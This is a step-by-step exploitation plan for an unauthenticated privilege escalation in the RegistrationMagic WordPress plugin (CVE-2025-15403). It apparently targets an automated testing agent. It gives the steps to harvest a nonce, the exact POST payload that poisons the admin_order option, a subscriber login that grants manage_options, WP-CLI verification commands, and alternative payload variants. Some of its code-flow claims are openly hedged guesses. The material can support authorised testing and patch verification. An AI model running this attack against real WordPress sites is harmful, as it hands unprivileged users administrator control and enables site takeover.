RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order

This research plan outlines the steps required to exploit CVE-2025-15403, an unauthenticated privilege escalation vulnerability in RegistrationMagic.

1. Vulnerability Summary

The vulnerability exists in RegistrationMagic (<= 6.0.7.1) due to improper access control in the rm_user_exists AJAX action. This action allows an unauthenticated user to indirectly trigger the add_menu function (or a logic path that calls it), which updates the admin_order option in WordPress. By injecting an empty slug into this setting, an attacker can corrupt the plugin's admin menu generation logic. When a user with a lower-level role (like a Subscriber) subsequently triggers the admin menu rendering, the plugin incorrectly assigns the manage_options capability to that user's role to resolve the menu inconsistency.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: rm_user_exists (Unauthenticated via wp_ajax_nopriv_rm_user_exists)
• Payload Parameter: order (injected with an empty key or slug)
• Authentication:
  • Phase 1 (Poisoning): Unauthenticated.
  • Phase 2 (Escalation): Subscriber (or any role capable of accessing /wp-admin/).
• Preconditions:
  1. The plugin RegistrationMagic must be active.
  2. A valid nonce for rm_user_exists must be obtained (usually provided to unauthenticated users on pages containing RegistrationMagic forms).

3. Code Flow

1. Entry Point: admin-ajax.php receives a request with action=rm_user_exists.
2. Controller: The request is handled by RM_Public_Controller::rm_user_exists() (or the corresponding routing logic in class_rm_public_controller.php).
3. Vulnerable Dispatch: The controller fails to restrict which methods or settings can be updated. It facilitates a call to a service/model function (likely add_menu) that handles the admin_order configuration.
4. Sink: update_option('rm_option_admin_order', ...) is called with user-supplied data from the order parameter.
5. Trigger: When a user logs into the dashboard, RM_Admin_Menu_Service (or similar) iterates through the admin_order option.
6. Capability Grant: Upon encountering an empty slug/key in the poisoned admin_order array, the logic falls through to a default state that calls $role->add_cap('manage_options') for the target role.

4. Nonce Acquisition Strategy

RegistrationMagic localizes its AJAX data using the handle rm_front.

1. Identify Shortcode: The plugin uses [RM_Form id='ID']. Most installations have a default form with ID 1.
2. Create Page:
   wp post create --post_type=page --post_status=publish --post_content='[RM_Form id="1"]'
3. Access Page: Navigate to the newly created page.
4. Extract Nonce: Use browser_eval to extract the nonce from the localized JS object:
   browser_eval("window.rm_ajax_vars?.nonce")
   Note: The variable name rm_ajax_vars and key nonce are standard for this plugin's frontend AJAX.

5. Exploitation Strategy

Phase 1: Poison the admin_order Option (Unauthenticated)

Send a POST request to admin-ajax.php to inject the empty slug.

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:
  action=rm_user_exists&rm_ajax_nonce=[NONCE]&order[]=
  (The empty value in order[]= creates the "empty slug" required to trigger the bug.)

Phase 2: Trigger the Privilege Escalation (Subscriber)

Login as a Subscriber and access the WordPress dashboard to force the plugin to rebuild the menu with the poisoned option.

1. Login via the standard WordPress login or the RegistrationMagic login form.
2. Navigate to http://<target>/wp-admin/index.php.
3. The backend logic will process the poisoned admin_order and grant the Subscriber role the manage_options capability.

6. Test Data Setup

1. Install Plugin: RegistrationMagic <= 6.0.7.1.
2. Create User: A user with the subscriber role.
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Create Form Page:
   wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[RM_Form id="1"]'

7. Expected Results

• The AJAX request to rm_user_exists should return a successful status (usually 200 OK with a JSON body).
• The WordPress option rm_option_admin_order will now contain an empty string or null entry.
• After the Subscriber visits /wp-admin/, their role will be updated in the database to include manage_options.

8. Verification Steps

After Phase 2, verify the Subscriber's capabilities using WP-CLI:

1. Check Capabilities:
   wp user get attacker --field=capabilities
2. Expected Output: The output should now include manage_options, effectively making the user an administrator.
3. Check Option State:
   wp option get rm_option_admin_order
   (Confirm it contains the injected empty slug).

9. Alternative Approaches

If order[]= does not work directly, try structuring the order parameter as a nested array or JSON, depending on how the specific version of RegistrationMagic parses input:

• order[0]=
• order[""]=1
• If rm_action is required to route the call: action=rm_user_exists&rm_action=add_menu&order[]=
• If the plugin uses a specific key for the menu slug: order[slug]=&order[label]=Test